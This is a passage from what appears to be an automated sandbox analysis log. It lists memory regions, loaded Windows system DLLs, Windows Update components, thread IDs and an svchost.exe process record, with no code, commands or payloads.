Region: id = 1394 start_va = 0x7fefd700000 end_va = 0x7fefd735fff monitored = 0 entry_point = 0x7fefd701474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1395 start_va = 0x7fefd7e0000 end_va = 0x7fefd84bfff monitored = 0 entry_point = 0x7fefd7e2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1396 start_va = 0x7fefd850000 end_va = 0x7fefd9bcfff monitored = 0 entry_point = 0x7fefd8510b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1397 start_va = 0x7fefd9c0000 end_va = 0x7fefd9fafff monitored = 0 entry_point = 0x7fefd9c1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1398 start_va = 0x7fefda00000 end_va = 0x7fefdb2cfff monitored = 0 entry_point = 0x7fefda4ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1399 start_va = 0x7fefdb30000 end_va = 0x7fefdbf8fff monitored = 0 entry_point = 0x7fefdbaa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1400 start_va = 0x7fefdc00000 end_va = 0x7fefdc0dfff monitored = 0 entry_point = 0x7fefdc01080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1401 start_va = 0x7fefdc10000 end_va = 0x7fefdc17fff monitored = 0 entry_point = 0x7fefdc11504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1402 start_va = 0x7fefdc20000 end_va = 0x7fefdc90fff monitored = 0 entry_point = 0x7fefdc31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1403 start_va = 0x7fefdca0000 end_va = 0x7fefdd06fff monitored = 0 entry_point = 0x7fefdcab03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1404 start_va = 0x7fefdd10000 end_va = 0x7fefdd5cfff monitored = 0 entry_point = 0x7fefdd11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1405 start_va = 0x7fefdd60000 end_va = 0x7fefdd7efff monitored = 0 entry_point = 0x7fefdd660e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1406 start_va = 0x7fefdd80000 end_va = 0x7fefdf82fff monitored = 0 entry_point = 0x7fefdda3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1407 start_va = 0x7fefdf90000 end_va = 0x7fefdfe1fff monitored = 0 entry_point = 0x7fefdf910d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1408 start_va = 0x7fefdff0000 end_va = 0x7fefe01dfff monitored = 0 entry_point = 0x7fefdff1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1409 start_va = 0x7fefe020000 end_va = 0x7fefe0fafff monitored = 0 entry_point = 0x7fefe040760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1410 start_va = 0x7fefe280000 end_va = 0x7fefe456fff monitored = 0 entry_point = 0x7fefe281010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1411 start_va = 0x7fefe4e0000 end_va = 0x7fefe5e8fff monitored = 0 entry_point = 0x7fefe4e1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1412 start_va = 0x7fefe850000 end_va = 0x7fefe8e8fff monitored = 0 entry_point = 0x7fefe851c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1413 start_va = 0x7fefe8f0000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe8f3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1414 start_va = 0x7fefea70000 end_va = 0x7feff7f7fff monitored = 0 entry_point = 0x7fefeaecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1415 start_va = 0x7feff930000 end_va = 0x7feff9cefff monitored = 0 entry_point = 0x7feff9325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1416 start_va = 0x7feffa00000 end_va = 0x7feffa00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1417 start_va = 0x7fffff4a000 end_va = 0x7fffff4bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4a000" filename = "" Region: id = 1418 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 1419 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 1420 start_va = 0x7fffff50000 end_va = 0x7fffff51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 1421 start_va = 0x7fffff52000 end_va = 0x7fffff53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1422 start_va = 0x7fffff54000 end_va = 0x7fffff55fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1423 start_va = 0x7fffff56000 end_va = 0x7fffff57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 1424 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1425 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 1426 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 1427 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 1428 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1429 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1430 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1431 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1432 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1433 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1434 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1435 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1436 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1437 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1438 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1439 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1440 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1441 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1442 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1443 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1444 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1445 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1446 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1447 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1448 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1449 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1450 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1451 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1452 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1453 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1454 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1455 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1456 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1457 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1458 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1459 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1460 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1461 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1462 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1463 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1464 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1465 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1466 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1467 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1468 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1914 start_va = 0x1140000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1915 start_va = 0x1150000 end_va = 0x1157fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1916 start_va = 0x1270000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 1917 start_va = 0x1280000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 1918 start_va = 0x1290000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1919 start_va = 0x12a0000 end_va = 0x12affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1920 start_va = 0x12b0000 end_va = 0x12bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1921 start_va = 0x1420000 end_va = 0x1427fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 1922 start_va = 0x1430000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1923 start_va = 0x1440000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 1924 start_va = 0x1450000 end_va = 0x1457fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1925 start_va = 0x1460000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 1926 start_va = 0x3d90000 end_va = 0x3e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 1927 start_va = 0x7fef1700000 end_va = 0x7fef18d3fff monitored = 0 entry_point = 0x7fef1736b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1928 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1932 start_va = 0x3450000 end_va = 0x362ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 1933 start_va = 0x1730000 end_va = 0x181ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 1934 start_va = 0x2590000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1935 start_va = 0x5f90000 end_va = 0x638ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f90000" filename = "" Region: id = 1936 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1937 start_va = 0x9f0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1938 start_va = 0xa10000 end_va = 0xa1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1939 start_va = 0x7fef87c0000 end_va = 0x7fef883bfff monitored = 0 entry_point = 0x7fef87c11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1940 start_va = 0x3630000 end_va = 0x37dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 1941 start_va = 0xa20000 end_va = 0xa22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1945 start_va = 0x12a0000 end_va = 0x12affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1949 start_va = 0x12b0000 end_va = 0x12bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1950 start_va = 0xa10000 end_va = 0xa1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1951 start_va = 0x12a0000 end_va = 0x12affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1952 start_va = 0xa30000 end_va = 0xa3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1956 start_va = 0x2b60000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 1957 start_va = 0x30c0000 end_va = 0x313ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 1958 start_va = 0x3330000 end_va = 0x33affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 1959 start_va = 0x34c0000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 1960 start_va = 0x35b0000 end_va = 0x362ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 1961 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1962 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1963 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1964 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1965 start_va = 0x1d80000 end_va = 0x1e29fff monitored = 0 entry_point = 0x1d84104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1966 start_va = 0xa40000 end_va = 0xa4cfff monitored = 0 entry_point = 0xa4a138 region_type = mapped_file name = "wuauclt.exe" filename = "\\Windows\\System32\\wuauclt.exe" (normalized: "c:\\windows\\system32\\wuauclt.exe") Region: id = 1967 start_va = 0x6390000 end_va = 0x65defff monitored = 0 entry_point = 0x639236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1968 start_va = 0xa40000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 1969 start_va = 0x36e0000 end_va = 0x375ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036e0000" filename = "" Region: id = 1970 start_va = 0x3760000 end_va = 0x37dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003760000" filename = "" Region: id = 1971 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1972 start_va = 0xa40000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 1973 start_va = 0x12b0000 end_va = 0x12bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1974 start_va = 0x7fef08c0000 end_va = 0x7fef08f1fff monitored = 0 entry_point = 0x7fef08c1060 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 1975 start_va = 0xa50000 end_va = 0xa5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1976 start_va = 0x12b0000 end_va = 0x12bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1977 start_va = 0x12a0000 end_va = 0x12affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1978 start_va = 0xa30000 end_va = 0xa37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3054 start_va = 0x30a0000 end_va = 0x311ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Thread: id = 37 os_tid = 0xee4 Thread: id = 38 os_tid = 0xec0 Thread: id = 39 os_tid = 0xebc Thread: id = 40 os_tid = 0xdf0 Thread: id = 41 os_tid = 0xd04 Thread: id = 42 os_tid = 0xcac Thread: id = 43 os_tid = 0x634 Thread: id = 44 os_tid = 0x5d4 Thread: id = 45 os_tid = 0x3a4 Thread: id = 46 os_tid = 0x388 Thread: id = 47 os_tid = 0x6ec Thread: id = 48 os_tid = 0x67c Thread: id = 49 os_tid = 0x448 Thread: id = 50 os_tid = 0x12c Thread: id = 51 os_tid = 0x4c8 Thread: id = 52 os_tid = 0x21c Thread: id = 53 os_tid = 0x244 Thread: id = 54 os_tid = 0x230 Thread: id = 55 os_tid = 0x530 Thread: id = 56 os_tid = 0x538 Thread: id = 57 os_tid = 0x528 Thread: id = 58 os_tid = 0x1dc Thread: id = 59 os_tid = 0x4e8 Thread: id = 60 os_tid = 0x318 Thread: id = 61 os_tid = 0x25c Thread: id = 62 os_tid = 0x418 Thread: id = 63 os_tid = 0x2a8 Thread: id = 64 os_tid = 0x7a8 Thread: id = 65 os_tid = 0x76c Thread: id = 66 os_tid = 0x70c Thread: id = 67 os_tid = 0x6fc Thread: id = 68 os_tid = 0x6f4 Thread: id = 69 os_tid = 0x6e8 Thread: id = 70 os_tid = 0x6c8 Thread: id = 71 os_tid = 0x6ac Thread: id = 72 os_tid = 0x69c Thread: id = 73 os_tid = 0x688 Thread: id = 74 os_tid = 0x44c Thread: id = 75 os_tid = 0x440 Thread: id = 76 os_tid = 0x43c Thread: id = 77 os_tid = 0x430 Thread: id = 78 os_tid = 0x428 Thread: id = 79 os_tid = 0x41c Thread: id = 80 os_tid = 0x3f0 Thread: id = 81 os_tid = 0x3e8 Thread: id = 82 os_tid = 0x3dc Thread: id = 83 os_tid = 0x380 Thread: id = 84 os_tid = 0x37c Thread: id = 85 os_tid = 0x370 Thread: id = 86 os_tid = 0x368 Thread: id = 87 os_tid = 0xf40 Thread: id = 88 os_tid = 0xf44 Thread: id = 89 os_tid = 0xf48 Thread: id = 90 os_tid = 0xf4c Thread: id = 91 os_tid = 0xf50 Thread: id = 139 os_tid = 0xb70 Thread: id = 140 os_tid = 0xb6c Thread: id = 141 os_tid = 0xb68 Thread: id = 142 os_tid = 0xb64 Thread: id = 143 os_tid = 0x488 Thread: id = 189 os_tid = 0x764 Thread: id = 256 os_tid = 0xeec Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x78d28000" os_pid = "0x2c0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1c0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b805" [0xc000000f], "LOCAL" [0x7] Region: id = 2120 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2121 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2122 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2123 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2124 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2125 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2126 start_va = 0x70000 end_va = 0x71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2127 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2128 start_va = 0x90000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2129 start_va = 0x110000 end_va = 0x176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" 